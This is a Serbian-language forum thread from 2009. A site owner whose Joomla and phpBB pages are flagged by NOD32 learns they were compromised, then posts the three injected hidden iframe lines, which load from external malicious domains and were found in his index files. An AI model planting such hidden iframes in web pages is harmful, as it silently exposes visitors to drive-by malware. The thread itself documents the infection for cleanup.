MyCity » Zaštita od zlonamernih programa -> Zaštitni programi » Nod32 blokira sajt

Nod32 blokira sajt

Napisano na dan: 20.4.2009

Nod32 blokira sajt
Sledeća strana Pagination

Idi na vrh

Poslao: 20 Apr 2009 00:10
Idi na vrh
offline
  • Pridružio: 01 Apr 2006
  • Poruke: 658
  • Gde živiš: Kruševac


da li je ovo do mene ili stvarno na hostu imam ubacen virus?



Registruj se da bi učestvovao u diskusiji. Registrovanim korisnicima se NE prikazuju reklame unutar poruka.
Poslao: 20 Apr 2009 00:16
Idi na vrh
offline
  • pixxel  Male
  • Legendarni građanin
  • Pridružio: 21 Jun 2005
  • Poruke: 9091
  • Gde živiš: Tu i tamo...

Napisano: 20 Apr 2009 0:13

Proveri kod - i na coolinarici se od juce desava to (moja mama visi tamo) i ima neki iframe koji vuce na neki kineski sajt, koji protura neki pdf dokument koji je zatazen...

Dopuna: 20 Apr 2009 0:16

Da evo sad sam pogledao i kod tebe - potpuno isti sajt je u pitanju - isti iframe exploit...



Poslao: 20 Apr 2009 20:46
Idi na vrh
offline
  • Pridružio: 01 Apr 2006
  • Poruke: 658
  • Gde živiš: Kruševac

Napisano: 20 Apr 2009 0:26

hmmmm...sajt mi je radjen u joomli, a forum mi je phpbb, tako da ne znam sta da gledam :S

i to se desilo pre jedno 20 minuta kada pocelo da mi blokira sajt kao i forum...da li postoji jos neko resenje?

Dopuna: 20 Apr 2009 20:46

sredio sam problem. u svim fajlovima od sajta kao i foruma gde se pominje index.php i index.html je ubacio ove frejmove:

echo "<iframe src=\"http://sefauro.net/?click=6B1813\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
<iframe src="http://hotslotpot.cn/in.cgi?income67" width=1 height=1 style="visibility: hidden"></iframe>
echo "<iframe src=\"http://sefauro.net/?click=1B47575\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
sinoc i danas su sve svi zalili na ove napade i tako da obevezno radite backup.

Poslao: 21 Apr 2009 00:01
Idi na vrh
offline
  • pixxel  Male
  • Legendarni građanin
  • Pridružio: 21 Jun 2005
  • Poruke: 9091
  • Gde živiš: Tu i tamo...

Verovatno koriste neki propust u samoj joomli, pa injektuju kod. Cim izadje nova verzija, updateuj...

Poslao: 21 Apr 2009 00:40
Idi na vrh
offline
  • Pridružio: 01 Apr 2006
  • Poruke: 658
  • Gde živiš: Kruševac

opet su mi ubacili ove frejmove na sajtu :S
nije proslo ni 3-4 sata kako sam dogao sve iz pocetka :S

Poslao: 21 Apr 2009 01:35
Idi na vrh
offline
  • pixxel  Male
  • Legendarni građanin
  • Pridružio: 21 Jun 2005
  • Poruke: 9091
  • Gde živiš: Tu i tamo...

Pa kazem ti da koriste propust u softveru joomle. Mozes ti da brises koliko hoces, oni idu redom i vracaju, dok se ne "zaleci" taj propust... E sad, jedino ako imas neki nezavisni plugin, mozda se provlaci kroz njega...

Poslao: 21 Apr 2009 12:10
Idi na vrh
offline
  • m4rk0  Male
  • Administrator
  • Administrator tech foruma
  • Marko Vasić
  • Gladijator - Maximus Decimus Meridius
  • Pridružio: 14 Jan 2005
  • Poruke: 15766
  • Gde živiš: Majur (Colosseum)

Salji mail joomla timu.

MyCity » Zaštita od zlonamernih programa -> Zaštitni programi » Nod32 blokira sajt

Ko je trenutno na forumu
 

Ukupno su 1210 korisnika na forumu :: 43 registrovanih, 9 sakrivenih i 1158 gosta   ::   [ Administrator ] [ Supermoderator ] [ Moderator ] :: Detaljnije

Najviše korisnika na forumu ikad bilo je 3466 - dana 01 Jun 2021 17:07

Korisnici koji su trenutno na forumu:
Korisnici trenutno na forumu: 8u47, AC-DC, ajo baba, aleksandarbl, anbeast, Atomski čoban, babaroga, Bobrock1, Bubimir, dejoglina, dekan.m, Denaya, Dimitrise93, djboj, Djokislav, doktor123, Dorcolac, Duh sa sekirom, frenki1986, Insan, Istman, ivica976, JOntra, kikisp, krkalon, kunktator, Lieutenant, ljubacv, Mi lao shu, Mr. Majevica, novator, panzerwaffe, Parker, pein, Pohovani_00, procesor, slonic_tonic, Srle993, Trpe Grozni, virked, Vlajman1957, voja64, wizzardone